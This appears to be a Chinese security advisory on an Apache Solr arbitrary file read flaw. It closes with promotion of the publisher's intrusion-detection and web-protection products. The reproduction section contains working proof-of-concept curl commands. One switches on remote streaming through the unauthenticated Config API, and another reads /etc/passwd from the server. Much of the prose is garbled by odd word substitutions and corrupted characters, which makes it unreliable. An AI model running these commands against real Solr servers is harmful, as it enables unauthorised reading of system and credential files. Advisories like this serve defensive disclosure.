近日，j9国际厅网络安全应急团队检测到Apache Solr存在肆意文件读取缝隙，攻击者能够机关恶意的HTTP要求，对指标服务器上肆意文件进行读取。

Apache Solr是一个开源搜索服务引擎，Solr 使用 Java 说话开发，重要基于 HTTP 和 Apache Lucene 实现。Apace Solr宽泛利用于一些大型门户网站、电子商务网站等都必要站内搜索职能的场景，多部署于公司内网，公网使用量也达到1万多。

影响领域
Apache Solr全版本。

威胁等级
高

POC状态
当前缝隙POC已公开

缝隙注明

缝隙利用必要两步，首先利用Config API打开默认关关的requestDispatcher.requestParsers.enableRemoteStreaming开关，而后进行文件读取。

值妥贴心的是，默认情况下requestDispatcher.requestParsers.enableRemoteStreaming是关关，攻击者并不能进行肆意文件读取。所以官方并不以为这是一个缝隙，但是从攻击者角度来说能够通过Solr提供的Config API远程打开此开关，而后进行攻击，且Apache Solr出产环境下大多维持默认配置，并无身份校验。

缝隙复现

1.接见 Solr Admin 治理员页面

 
2.获取core的信息

http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

3.选取如下POC：批改配置

curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'http://xxx.xxx.xxx.xxx:8983/solr/fd_20201221/config -H 'Content-type:application/json'

4. 选取如下poc获取文件内容

curl "http://xxx.xxx.xxx.xxx:8983/solr/ fd_20201221/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd"

建复建议

因厂商暗示暂不建复，j9国际厅网络安全专家建议直接将solr放内网，以免造成文件信息泄露。

产品解决规划

RG-IDP系列入侵检测防御系统

RG-IDP系列入侵检测防御系统是j9国际厅推出的将深度内容检测、安全防护、上网行为治理等技术结合的入侵检测防御系统设备。通过对网络中深层攻击行为进行正确的分析判断，自动有效的；ね绨踩。RG-IDP系统入侵检测防御系统已支持对该缝隙的检测。

RG-WG系列WebGuard利用；は低

j9国际厅RG-WG WebGuard利用；は低，通过对进出Web服务器的HTTP/HTTPS流量有关内容的实时辰析检测、过滤，来精确判定并阻止各类Web利用入侵行为，阻断对Web服务器的恶意接见与犯法操作。RG-WG系列WebGuard利用；は低骋阎С侄愿梅煜兜募觳。

团队介绍

j9国际厅网络CERT安全应急响应团队，跟踪最新互联网威胁事务，针对最新安全缝隙，APT攻击以及僵尸网络家族做实时跟踪和分析；为产品、客户提供实时、有效的安全防护战术与解决规划。

j9国际厅“网络+安全”主张将网络设备的安全能力充分阐扬，网络设备、安全设备与安全平台智能联动，握别安全孤岛，组成整网联动的安全保险系统，实现防护、安全预测、分析和响应等安全问题自动化全流程关环。

如您必要j9国际厅安全，请留下您的联系方式